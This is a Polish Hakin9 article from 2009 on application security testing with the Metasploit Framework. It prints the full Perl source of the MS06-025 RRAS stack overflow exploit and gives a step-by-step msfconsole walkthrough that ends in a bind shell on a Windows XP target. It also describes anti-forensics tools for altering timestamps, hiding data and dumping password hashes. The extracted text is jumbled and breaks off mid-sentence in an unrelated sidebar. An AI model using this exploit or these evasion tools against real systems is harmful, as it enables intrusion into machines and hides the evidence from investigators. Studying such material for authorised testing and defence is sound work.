ATAK Testy bezpieczeństwa aplikacji z wykorzystaniem MSF
GRZEGORZ GAŁĘZOWSKI
Stopień trudności
Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.
P
Z ARTYKUŁU DOWIESZ SIĘ czym jest ceniony pakiet narzędzi hakerskich Metasploit Framework, jak na konkretnym przykładzie używać tego pakietu do przeprowadzania testu wykrycia podatności na lukę RRAS Stack Overflow w systemach MS Windows.
CO POWINIENEŚ WIEDZIEĆ wskazana jest praktyczna znajomość choćby podstaw programowania w języku C++, znajomość systemu operacyjnego Linux lub MS Windows. 20
HAKIN9 4/2009
rogram zbudowany z zaledwie kilkuset linijek może zawierać dziesiątki rozkazów umożliwiających wystąpienie tysięcy różnych błędów. Najgorsza sytuacja występuje w przypadku programów kontrolujących kr ytyczne procesy. Kod takiej aplikacji może zawierać od dziesiątków do milionów linii kodu źródłowego. Aplikacja taka może podjąć błędną decyzję, gdy przypadkowy układ sygnałów, któr y do niej doprowadzi, nie został dostatecznie przetestowany. Programista mógł prawidłowo zaprojektować złą reakcję lub w ogóle nie przewidzieć wystąpienia danej sytuacji. Ten typ defektu programu jest najtrudniejszy do całkowitego wyeliminowania. Jak poważne konsekwencje mogą wywołać źle napisane programy, niech posłużą temu poniższe przykłady. Niepowodzenia rakiet Patriot przy przechwytywaniu irackich rakiet Scud przypisano efektom nagromadzenia się niedokładności w pracy wewnętrznego zegara komputera. Komputer działał zgodnie z przyjętymi założeniami – przewidywano, że będzie on wyłączany i włączany dostatecznie często, by kumulacja błędu nie była nigdy niebezpieczna. Ponieważ został zastosowany w sposób pierwotnie nieprzewidziany, niewielka niedokładność stała się poważnym problemem. Jeden błędny bit w programie kontrolującym lot rakiety Atlas, która wyniosła w przestrzeń kosmiczną pierwszą amer ykańską sondę
międzyplanetarną Mariner 1, spowodował jej zejście z właściwego kursu. W konsekwencji zarówno rakieta, jak i sonda uległy zniszczeniu wkrótce po starcie. Wytwarzane obecnie oprogramowanie staje się coraz bardziej złożone i coraz trudniej jest sprawić, aby było niezawodne. Testowanie kodu umożliwia szybkie wykr ywanie błędów, a także kontrolę poprawnego funkcjonowania aplikacji. Dlatego ważne jest, by dostatecznie dobrze przetestować aplikację pod każdym względem, szczególnie jeżeli od jej działania zależeć będzie bezpieczeństwo i życie ludzi.
Historia Metasploit Framework (MSF)
Projekt Metasploit został pierwotnie stworzony przez czterech programistów jako sieć do testów bezpieczeństwa. Następnie był stopniowo rozwijany w ramach licencji Perl. Stabilna wersja produktu została wydana w czerwcu 2004 roku. Od tego czasu rozwój produktu oraz dodawanie nowych elementów następuje bardzo szybko. Projekt Metasploit powstał w ramach grupy badawczej mającej zajmować się tworzeniem narzędzi związanych z bezpieczeństwem i lukami w systemach bezpieczeństwa. Najbardziej znanym projektem tej grupy jest oprogramowanie Metasploit Framework (MSF), rozpowszechniane przez głównych autorów tego projektu, któr ymi są programiści
TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF ukr ywający się pod pseudonimami Spoonm i HD Moore, na zasadach otwartego kodu źródłowego. MSF został pierwotnie napisany w języku skr yptowym Perl i obejmował różnego rodzaju elementy napisane w języku C, asembler i Python. Licencja projektu została tak skonstruowana, że – w ramach licencji GPL v2 i Perl może być wykorzystywany zarówno w projektach open-source, jak i komercyjnych. Od wersji 3.0 MSF jest całkowicie od nowa napisany w języku Ruby i został wyposażony w szeroką gamę inter fejsów API. Licencja tego produktu jest teraz bliższa tym obowiązującym w przypadku oprogramowania komercyjnego. MSF można jednak wykorzystywać do własnego użytku, zachowano też prawo do swobodnego rozpowszechniania. Zabronione jest sprzedawanie MSF w jakiejkolwiek formie oraz integracja w pakietach komercyjnych (w oprogramowaniu, urządzeniu czy też w innej formie). Wprawdzie początkowo w ramach tego projektu nie powstał żaden system wsparcia dla programistów, ale począwszy od wersji sytuacja się zmieniła, a wbudowana pomoc ma naprawdę szerokie możliwości. Oprogramowanie MSF zostało stworzone, by dostarczyć programistom platformy do pisania oprogramowania wyszukującego luki w systemach bezpieczeństwa. Dzięki temu ułatwia ono ludziom zawodowo zajmującym się problemami bezpieczeństwa i badaczom szybkie pisanie odpowiednich narzędzi. Na najbardziej podstawowym poziomie system MSF dostarcza rozbudowanego interfejsu API umożliwiającego określanie różnych parametrów ataku wykrywającego lukę. Wielu spośród jego komponentów można używać wielokrotnie w różnych zestawieniach. Przykładami mogą być moduły generujące treść pakietów, przetwarzające ją, generatory NOP, biblioteki protokołów i procedury szyfrujące. Oprogramowanie MSF dostarcza szerokiego zestawu wydajnych komponentów, których można używać podczas programowania ataków testowych. Aby ułatwić szybkie tworzenie modułów i umożliwić ich wielokrotne wykorzystywanie, wszystkie komponenty
pisane są w obiektowym języku Perl, wykorzystującym dynamiczne ładowanie. Celem MSF jest umożliwienie ustawiania wartości parametrów definiowanych przez użytkownika i uruchamiania modułów testujących, tak aby móc kontrolować, w jaki sposób atak jest przeprowadzany.
Budowa Metasploit Framework
Podstawowym elementem Metasploit Framework (MSF) jest DataStore. Cały system jest logicznie podzielony na globalne elementy i moduły składowania danych. Poniżej wymieniono najważniejsze elementy w pakiecie Metasploit:
Rysunek 1. Interfejs msfconsole w systemie Linux
Rysunek 2. Interfejs msfweb 4/2009 HAKIN9
21
ATAK Listing 1. Wykorzystanie parametrów LPORT i LHOST msf > setg LPORT 1234 LPORT -> 1234 msf > setg LHOST 192.168.10.10 LHOST -> 192.168.10.10 msf > setg PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf > use apache_chunked_win32 msf apache_chunked_win32(win32_reverse) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ------- -----------------optional SSL Use SSL required RHOST The target address required RPORT 80 The target port Payload: Name Default Description -------- -------- ------- -----------------------------------------optional EXITFUNC seh Exit technique: "process", "thread", "seh" required LPORT 123 Local port to receive connection required LHOST 192.168.10.10 Local address to receive connection
•
•
•
•
•
•
•
•
•
•
Rysunek 3. Strona Metasploit Opcode Database
Lista podstawowych komend Metasploit Framework Lista podstawowych komend Metasploit Framework: • • • • • • • • • • • • •
22
? – wyświetla pomoc z poziomu konsoli, cd – zmiana katalogu roboczego, exit – wyjście z konsoli, help – pomoc dostępna z poziomu konsoli, info – wyświetla szczegóły na temat payloadu lub exploita, quit – wyjście z konsoli, reload – przeładowanie payloadu lub exploita, save – zapisanie konfiguracji na dysku, setg – ustawienia globalne zmiennych środowiskowych, show – wyświetla dostępne exploity i payloady, unsetg – usuwa ustawienia globalnych zmiennych środowiskowych, use – użyj wybranego exploita o określonej nazwie, version – wyświetla informację o wersji.
HAKIN9 4/2009
msfcli – interfejs poleceń, w któr ym wydawane są komendy wraz z opcjami, msfconsole – shell systemowy MSF (Rysunek 1). Oferuje dopełnianie poleceń (ang. tab completion), msfdldebug – ładuje symbole debugowania dla plików systemu MS Windows, msflogdump – program do analizowania logów generowanych przez MSF, msfencode – testuje moduły kodujące. Dzięki niemu można zrozumieć kodowanie pakietów w MSF, msfpayload – umożliwia testowanie pakietów generowanych przez moduł kodujący, msfpayload.cgi – to samo co powyżej, tyle że w postaci programu CGI, któr y może być wykonywany z poziomu przeglądarki WWW po uprzednim umieszczeniu na serwerze Web, msfpescan – narzędzie do odnajdywania dopasowań opkodów w plikach wykonywalnych Windows PE. Opkody są wykorzystywane jako instrukcje powrotne w czasie przeskakiwania do kodu powłoki, msfupdate – program aktualizacyjny. Pobiera aktualizacje do oprogramowania MSF, łączy się ze stroną projektu przez protokół HTTPS. msfweb – interfejs Metasploit w formie strony WWW, dostępny dla różnych przeglądarek internetowych (Rysunek 2).
Poszczególne katalogi dostępne poprzez interfejs przechowują następujące informacje: •
•
•
/data – katalog plików związanych z obsługą treści przesyłanej w pakietach, /docs – jak sama nazwa wskazuje, jest to katalog dokumentacji. W tym miejscu znajdziemy informacje na temat obsługi interfejsów i narzędzi MSF, /encoders – zbiór modułów kodujących, które zajmują się obsługą danych w przesyłanych pakietach,
TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF Listing 2a. Windows RRAS Stack Overflow (Exploit, MS06-025) ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::rras_ms06_025; use base "Msf::Exploit"; use strict; use Pex::DCERPC; use Pex::NDR; my $advanced = { 'FragSize' => [ 256, 'The DCERPC fragment size' ], 'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ], 'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ], }; my $info = { 'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow', 'Version' => '$Revision: 1.1 $', 'Authors' => [ 'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>', 'H D Moore <hdm [at] metasploit.com>' ], 'Arch' => ['x86'], 'OS' => [ 'win32', 'win2000', 'winxp' ], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => [ 1, 'ADDR', 'The target address' ], # SMB connection options 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ], 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''], 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ], 'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, XP=SRVSVC)', 'ROUTER' ], }, 'Payload' => { 'Space' => 1104, 'BadChars' => "\x00", 'Keys' => ['+ws2ord'], # sub esp, 4097 + inc esp makes stack happy 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Description' => Pex::Text::Freeform( qq{ This module exploits a stack overflow in the Windows Routing and Remote
Access Service. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well. A valid username and password is required to exploit this flaw on Windows 2000. When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. } ), 'Refs' => [ [ 'BID', '18325' ], [ 'CVE', '2006-2370' ], [ 'OSVDB', '26437' ], [ 'MSB', 'MS06-025' ] ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic' ], [ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret [ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret ], 'Keys' => ['rras'], 'DisclosureDate' => 'Jun 13 2006', }; sub new { my ($class) = @_; my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ ); return ($self); } sub Exploit { my ($self) = @_; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; my $FragSize = $self->GetVar('FragSize') || 256; my $target = $self->Targets->[$target_idx]; my ( $res, $rpc ); if ( !$self->InitNops(128) ) { $self->PrintLine("[*] Failed to initialize the nop module."); return; } my $pipe = "\\" . $self->GetVar("SMBPIPE"); my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df'; my $version = '1.0'; my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe ); my $dce = Pex::DCERPC->new( 'handle' => $handle,
4/2009 HAKIN9
23
ATAK •
/exploits – przechowuje wszystkie testowe moduły ataków, /lib – biblioteki tworzące rdzeń MSF, /extra – mniej potrzebne przy pracy moduły Net-SSL i Term-ReadLineGnu Perl, /nops – katalog z modułami, które generują bufor y NOP (No Operation), wykorzystywane w atakach do zwiększenia ich „odporności”, /payloads – moduły implementujące różne akcje, które mogą zostać wykonane w czasie ataku, /sdk – ten katalog zawiera samouczek omawiający sposoby pisania modułów do nietypowych ataków, /src – tutaj znajdziemy różne
• •
•
•
•
•
•
przykłady i inne elementy wykorzystywane przez MSF, /tools – zbiór narzędzi Socket Ninja i memdump. Socket Ninja jest multiplekserowym menedżerem gniazd, a program memdump pobiera segmenty pamięci z działających procesów Windows.
MSF konkuruje bezpośrednio z takimi komercyjnymi produktami, jak Immunity's CANVAS lub Core Security Technology's Core Impact. Jednakże istnieje zasadnicza różnica pomiędzy tymi dwoma grupami pod względem funkcjonalności. Wymienione aplikacje komercyjne pozwalają w przyjazny sposób używać graficznych interfejsów
użytkownika i posiadają szereg rozbudowanych możliwości raportowania. Warto jednak mieć na uwadze, że MSF jest przede wszystkim platformą do wykorzystania i opracowania nowych modułów testujących bezpieczeństwo aplikacji. Ponadto jest również platformą do projektowania narzędzi analitycznych, które umożliwiają badanie i rozwój nowych technik testowania bezpieczeństwa. Dlatego nie posiada tak rozbudowanych graficznych interfejsów, jak jego komercyjna konkurencja. Ten system pozwala zaoszczędzić czas przeznaczony na rozwój własnych środowisk, które mogą być wykorzystane w testach penetracyjnych. Wspólne opcje mogą być definiowane w globalnym
Listing 2b. Windows RRAS Stack Overflow (Exploit, MS06-025) 'username' => $self->GetVar('SMBUSER'), 'password' => $self->GetVar('SMBPASS'), 'domain' => $self->GetVar('SMBDOM'), 'fragsize' => $self->GetVar('FragSize'), 'bindevasion' => $self->GetVar('BindEvasion'), 'directsmb' => $self->GetVar('DirectSMB'), ); if ( !$dce ) { $self->PrintLine("[*] Could not bind to $handle"); return; } my $smb = $dce->{'_handles'}{$handle}{'connection'}; if ( $target->[0] =~ /Auto/ ) { if ( $smb->PeerNativeOS eq 'Windows 5.0' ) { $target = $self->Targets->[1]; $self->PrintLine('[*] Detected a Windows 2000 target...'); } elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) { $target = $self->Targets->[2]; $self->PrintLine('[*] Detected a Windows XP target...'); } else { $self->PrintLine( '[*] No target available : ' . $smb>PeerNativeOS() ); return; } } my $pattern = ''; if ($target->[0] =~ /Windows 2000/) { $pattern = pack( 'V', 1 ) . pack( 'V', 0x49 ) . $shellcode . "\xeb\x06" . Pex::Text::AlphaNumText(2). pack( 'V', $target->[1] ) . "\xe9\xb7\xfb\xff\xff" ;
24
HAKIN9 4/2009
} elsif( $target->[0] =~ /Windows XP/) { $pattern = pack( 'V', 1 ) . pack( 'V', 0x49 ) . Pex::Text::AlphaNumText(0x4c). "\xeb\x06" . Pex::Text::AlphaNumText(2). pack( 'V', $target->[1] ) . $shellcode; } else { self->PrintLine( '[*] No target available...'); return; } # need to produce an exception my $request = $pattern . Pex::Text::AlphaNumText(0x4000 length($pattern)); my $len = length ($request); my $stub = Pex::NDR::Long( int( 0x20000 ) ) . Pex::NDR::Long( int( $len ) ) . $request . Pex::NDR::Long( int( $len ) ); $self->PrintLine("[*] Sending request..."); my @response = $dce->request( $handle, 0x0C, $stub ); if (@response) { $self->PrintLine('[*] RPC server responded with:'); foreach my $line (@response) { $self->PrintLine( '[*] ' . $line ); } $self->PrintLine('[*] This probably means that the system is patched'); } return; }
TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF środowisku i automatycznie później wykorzystane za każdym następnym załadowaniem. Poniższy przykład (Listing 1) pokazuje, w jaki sposób można wykorzystać parametr y LPORT i LHOST. Projekt Metasploit składa się nie tylko z MSF. Obecnie obejmuje on również komponenty opisane poniżej.
Metasploit Opcode Database Ten webowy inter fejs jest prawdopodobnie najbardziej kompleksową bazą dostępnych opcode, pozwala użytkownikowi na wyszukiwanie opkodów z zestawu modułów – na podstawie klas opcode. Obecnie baza danych składa się z ponad 14 mln opcodes, obejmujących 320 różnych typów opcode i 14 systemów operacyjnych. Jest ona dostępna w Internecie pod adresem www.metasploit.com/opcode_ database.html (Rysunek 3). W obecnej wersji w ramach msfopcode zapewniono również dostęp do inter fejsu bazy danych w tr ybie online bezpośrednio z linii poleceń.
Metasploit Anti-forensics Jest to zbiór narzędzi i dokumentów, które pomogą utrudnić przeprowadzenie w stosunku do zaatakowanego systemu tzw. analizy sądowej. Narzędzia są dopuszczone jako część pakietu Metasploit Anti-Forensic Investigation Arsenal (MAFIA). W skład pakietu wchodzą: •
•
•
jest moduł Recon. Komponent ten, wspomagany przez Nmap i Nessus, może pomóc w identyfikacji poszczególnych hostów w sieci, uruchomionych usług,
otwartych portów i dostępnych wersji. Ponadto dostępne są moduły Recon odpowiedzialne za skanowanie portów i ocenianie słabości skanowanych hostów.
Listing 3. Wyszukiwanie nazwy exploita RRAS msf > show exploits Exploits ======== Name Description ---- ----------... windows/smb/ms04_011_lsass Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow windows/smb/ms04_031_netdde Microsoft NetDDE Service Overflow windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow windows/smb/ms06_025_rras Microsoft RRAS Service Overflow windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow
Listing 4. Przejście do bezpośredniej obsługi wybranego modułu msf > use windows/smb/ms06_025_rras msf exploit(ms06_025_rras) > Exploity wykorzystują różne opcje. Sprawdzimy jakie opcje powinny być ustawione dla exploita RRAS: msf exploit(ms06_025_rras) > show options Name Current Setting Required Description ---- --------------- -------- ----------RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
Timestomp – narzędzie, które umożliwia analizę oraz modyfikowanie znaczników plików przechowywanych w systemie NTFS, Slacker – narzędzie, które pozwala ukr yć dane w niezapełnionym fragmencie bloku (ang. slack space) systemu plików NTFS, Sam Juicer – moduł, któr y pozwala na odczytanie skrótów haseł z pliku SAM bez jakiejkolwiek ingerencji w dysk twardy (łącznie z odczytem).
Jednym z najciekawszych nowych dodatków do MSF od wersji 3.0
Rysunek 4. msfconsole w systemie MS Windows 4/2009 HAKIN9
25
ATAK Istnieje silna inicjatywa opracowania korelacji silnika, któr y będzie klasyfikował i koordynował informacje otrzymane z modułu Recon z wydarzeniami zachodzącymi w sieci. Na przykład, aby wykorzystywać to w sytuacjach, kiedy automatycznie zostanie wykr yte zagrożenie danego portu w testowanej sieci. Dodatkowo korelacja tego silnika jest realizowana w taki sposób, że informacje na temat stanu sieci mogą być przechowywane w bazie danych. Po zainstalowaniu MSF mamy do dyspozycji trzy środowiska pracy – msfconsole, msfcli i inter fejs WWW msfweb. Jednakże podstawowym (i preferowanym) obszarem roboczym MSF jest msfconsole. Jest to wydajny inter fejs wiersza poleceń, któr y ma swój własny
zestaw komend systemu i środowiska. Został zaprojektowany do uruchamiania w systemach uniksowych, takich jak Linux lub BSD, można go również uruchomić w systemie Windows poprzez środowisko Cygwin. Instalator dla wersji Windows zawiera wstępnie skonfigurowaną wersję Cygwin. Jeżeli uruchomimy konsolę i wszystko zadziała bez problemów, ujrzymy obraz podobny do pokazanego na Rysunku 4. Teraz wszystkie polecenia dla msfconsole są aktywne. Konsola jest bardzo elastyczna, a jeśli użytkownik wprowadzi nieznane polecenia, będą one wyszukiwane w zmiennej środowiskowej PATH i dopasowane dla każdego pliku wykonywalnego. Jeśli zostanie znaleziony pasujący plik, następuje jego wykonanie
Listing 5. Przegląd modułów Payloads msf exploit(ms06_025_rras) > show payloads Compatible payloads =================== ... windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline windows/shell_bind_tcp_xpfw Windows Disable Windows ICF, Command Shell, Bind TCP Inline windows/shell_reverse_tcp Windows Command Shell, Reverse TCP Inline ...
Listing 6. Wybór exploita do atakowania zdalnego hosta msf exploit(ms06_025_rras) > set PAYLOAD windows/shell_bind_tcp PAYLOAD => windows/shell_bind_tcp msf exploit(ms06_025_rras) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------RHOST 192.168.1.20 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC) Payload options: Name Current Setting Required Description ---- --------------- -------- ----------EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port
Listing 7. Sprawdzamy podatne na exploit systemy operacyjne msf exploit(ms06_025_rras) > show targets Exploit targets: Id Name -- ---0 Windows 2000 SP4 1 Windows XP SP1 msf exploit(ms06_025_rras) > set TARGET 1 TARGET => 1 msf exploit(ms06_025_rras) > exploit [*] Started bind handler [-] Exploit failed: Login Failed: The SMB server did not reply to our request
26
HAKIN9 4/2009
– podobnie jak standardowego polecenia. Instynktownie wpisując polecenie help, uzyskamy listę dostępnych poleceń, tak jak pokazano na Rysunku 5.
RRAS Stack Overflow (Exploit, MS06-025)
Istnieje luka w zabezpieczeniach, która daje możliwość zdalnego wywołania kodu w wyniku zaatakowania usługi Routing i zdalny dostęp. Umożliwia to osobie atakującej i wykorzystującej tę lukę na uzyskanie dostępu do systemu. Zagrożone systemy: • •
• •
•
Microsoft Windows 2000 Service Pack 4, Microsoft Windows XP Service Pack 1 i Microsoft Windows XP Service Pack 2, Microsoft Windows XP Professional x64 Edition, Microsoft Windows Server 2003 i Microsoft Windows Server 2003 z dodatkiem Service Pack 1 (także w wersji dla komputerów z procesorem Itanium), Microsoft Windows Server 2003 x64 Edition
Pełny kod programu wykorzystującego lukę RRAS Stack Overflow obejrzeć można na Listingu 2. Teraz opiszę procedurę, która pozwala wybrać opisany exploit, a następnie go uruchomić. Interesujące nas polecenia, które pozwolą rozpocząć pracę to: show <exploits | payloads>
info <exploit | payload> <name> use <exploit-name>
Inne komendy możemy poznać za pomocą polecenia help. Zaczniemy od znalezienia nazwy dla np. exploita RRAS (Listing 3). Na liście exploitów możemy odnaleźć Windows/smb/ms06_025_rras. Możemy go wybrać przy pomocy komendy use i następnie przejść do tr ybu bezpośredniej obsługi wybranego modułu – odpowiednie polecenia pokazane są na Listingu 4.
TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF Exploit wymaga podania adresu atakowanego celu i numeru portu SMB (ang. Server Message Block), któr y wykorzystywany jest do nasłuchu. Ustawimy cel ataku i podamy jego adres IP: msf exploit(ms06_025_rras) > set
RHOST 192.168.1.20
RHOST => 192.168.1.20
Składnia ustawień wygląda następująco: Set <OPTION_NAME> <OPTION_VALUE>
W przykładzie użyjemy modułu, któr y otwiera polecenie powłoki i nasłuchuje na określonym porcie TCP. Przejrzymy teraz (Listing 5) dostępne sposoby zaatakowania ofiar y przy pomocy poszczególnych ładunków (ang. payloads) złośliwego kodu. Na Listingu widoczne są trzy moduły, z któr ych każdy może być używany do załadowania wbudowanej komendy powłoki. Użycie słowa inline oznacza tutaj polecenie powłoki, która jest ustawiona w tr yb roundtrip. Kolejną czynnością będzie wybór exploita, przy którego pomocy zaatakujemy zdalny host. Sprawdzimy też dostępne opcje (Listing 6). Exploit jest już skonfigurowany. Teraz musimy zdefiniować rodzaj atakowanego systemu. Metasploit wykorzystuje pewne uniwersalne typy, dzięki czemu praca na wszystkich platformach systemowych jest podobna. Listing 7. pokazuje, w jaki sposób sprawdzić podatne na exploit systemy operacyjne. Windows XP z dodatkiem SP1, zgodnie z Microsoft Security Bulletin, jest dość podatny na wspomniany atak. Przyjrzyjmy się bliżej, jak to wykorzystać (Listing 8). Opis exploita wskazuje, że w przypadku XP z SP1, w SMBPIPE opcja musi być ustawiona na SRVSVC. Metasploit w wersji 3 dodaje kilka modułów pomocniczych, z któr ych jeden jest narzędziem do obsługi potoków. Użyjemy go do tego, by sprawdzić czy ROUTER jest narażony na zdalny atak (Listing 9). Teraz przyszła kolej na sprawdzenie narażonych na atak potoków w systemie
Windows XP. Niezbędne polecenia i ich wyniki przedstawia Listing 10. Zajmiemy się potokiem SRVSVC. Niestety zadziała tylko w przypadku wyłączonej ściany ogniowej (Listing 11). Połączenie zadziałało, możemy sprawdzić to za pomocą netstat:
Podsumowanie Główne cechy MSF: •
• C:\tools>netstat -an | findstr .20 | findstr ESTAB
TCP 192.168.1.13:3999 192.168.1.20: 4444 ESTABLISHED
•
jest napisany przede wszystkim w Perlu (niektóre części w Pythonie i C), co oznacza możliwość szybkiego rozwoju wtyczek, wsparcie dla zewnętrznych narzędzi, bibliotek i funkcji, takich jak np. debugowanie, kodowanie, SSL, zrozumiałe, intuicyjne, modułowe i rozszerzalne API dla środowiska
Listing 8. Sprawdzamy informacje na temat możliwości wykorzystania exploita msf exploit(ms06_025_rras) > info Name: Microsoft RRAS Service Overflow Version: 4498 Platform: Windows Privileged: Yes License: Metasploit Framework License Provided by: Nicolas Pouvesle <nicolas.pouvesle@gmail.com> hdm <hdm@metasploit.com> Available targets: Id Name -- ---0 Windows 2000 SP4 1 Windows XP SP1 Basic options: Name Current Setting Required Description ---- --------------- -------- ----------RHOST 192.168.1.20 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC) Payload information: Space: 1104 Avoid: 1 characters
Rysunek 5. msfconsole i polecenie help 4/2009 HAKIN9
27
ATAK •
programistycznego, jest wysoce zoptymalizowany pod różne środowiska systemowe, ma budowę modułową,
•
rozszerzona obsługa i dobre wsparcie, które naprawdę pozwalają skrócić czas wykorzystania kodu do własnych potrzeb,
•
• Listing 9. Sprawdzamy, czy ROUTER jest narażony na zdalny atak msf exploit(ms06_025_rras) > show auxiliary Name Description ---- ----------admin/backupexec/dump Veritas Backup Exec Windows Remote File Access admin/backupexec/registry Veritas Backup Exec Server Registry Access dos/freebsd/nfsd/nfsd_mount FreeBSD Remote NFS RPC Request Denial of Service dos/solaris/lpd/cascade_delete Solaris LPD Arbitrary File Delete dos/windows/nat/nat_helper Microsoft Windows NAT Helper Denial of Service dos/windows/smb/ms05_047_pnp Microsoft Plug and Play Service Registry Overflow dos/windows/smb/ms06_035_mailslot Microsoft SRV.SYS Mailslot Write Corruption dos/windows/smb/ms06_063_trans Microsoft SRV.SYS Pipe Transaction No Null dos/windows/smb/rras_vls_null_deref Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference dos/wireless/daringphucball Apple Airport 802.11 Probe Response Kernel Memory Corruption dos/wireless/fakeap Wireless Fake Access Point Beacon Flood dos/wireless/fuzz_beacon Wireless Beacon Frame Fuzzer dos/wireless/fuzz_proberesp Wireless Probe Response Frame Fuzzer dos/wireless/netgear_ma521_rates NetGear MA521 Wireless Driver Long Rates Overflow dos/wireless/netgear_wg311pci NetGear WG311v1 Wireless Driver Long SSID Overflow dos/wireless/probe_resp_null_ssid Multiple Wireless Vendor NULL SSID Probe Response dos/wireless/wifun Wireless Test Module recon_passive Simple Recon Module Tester scanner/discovery/sweep_udp UDP Service Sweeper scanner/mssql/mssql_login MSSQL Login Utility scanner/mssql/mssql_ping MSSQL Ping Utility scanner/scanner_batch Simple Recon Module Tester scanner/scanner_host Simple Recon Module Tester scanner/scanner_range Simple Recon Module Tester scanner/smb/pipe_auditor SMB Session Pipe Auditor scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor scanner/smb/version SMB Version Detection test Simple Auxiliary Module Tester test_pcap Simple Network Capture Tester voip/sip_invite_spoof SIP Invite Spoof
Listing 10. Sprawdzamy potoki w systemie Windows XP msf exploit(ms06_025_rras) > use scanner/smb/pipe_auditor msf auxiliary(pipe_auditor) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------RHOSTS yes The target address range or CIDR identifier msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.20 RHOSTS => 192.168.1.20 msf auxiliary(pipe_auditor) > exploit [*] Pipes: \netlogon, \lsarpc, \samr, \epmapper, \srvsvc, \wkssvc [*] Auxiliary module execution completed
28
HAKIN9 4/2009
•
wsparcie dla różnych protokołów sieciowych i opcji, które mogą być wykorzystane do opracowania własnych elementów, projekt oparty na Open Source, posiada dedykowane wsparcie dla tej społeczności deweloperów, wsparcie dla zaawansowanych funkcji i narzędzi, takich jak InlineEgg, UploadExec i chainable proxy.
Oprogramowanie czasami działa nieprawidłowo ze względu na zawarte w nim błędy. Niektórzy twierdzą, iż awarie są czymś regularnym, ponieważ tworzenie oprogramowania jest pracą całkowicie logiczną, nie istnieją w niej żadne wewnętrzne nieokreśloności. Jeżeli więc dostatecznie dobrze znamy dane wejściowe, zachowanie się programu powinno być całkowicie zdeterminowane. Produkty takie jak platforma Metasploit mogą posłużyć do testowania ataków. Wykorzystywane są głównie przez administratorów czy oficerów bezpieczeństwa, którzy chcą sprawdzić poziom bezpieczeństwa swoich systemów lub aplikacji. Oczywiście tak samo często z tego zestawu korzystają audytorzy systemów informatycznych oraz hakerzy, którzy przy pomocy takich właśnie narzędzi w dużej mierze zdobywają wiedzę i testują podatności analizowanych systemów na pewne działania. *Opcode – czyli kod operacji, jest to liczba, będąca fragmentem rozkazu przekazywanego do wykonania do procesora, która informuje, jaka operacja ma zostać wykonania (źródło: Wikipedia). Strzeżcie się wilka! – rzekła mama koza. – Jeśli się tu wedrze, to zje was w całości wraz ze skórą i kopytkami. Umie on dobrze udawać, ale poznacie go od razu po grubym głosie i czarnych łapach. (z bajki braci Grimm O wilku i siedmiu koźlątkach) Pełna najlepszych chęci koza próbowała chronić swoje dzieci, posługując się strategią kontroli dostępu: nie wpuszczaj do domu nikogo, kto nie ma miłego głosu i białych łap. Metoda ta jest dość skuteczna, gdyż bazuje na wer yfikacji fizycznych cech uprawnionych użytkowników. W bajce tragicznym niedopatrzeniem była zbyt mała liczba
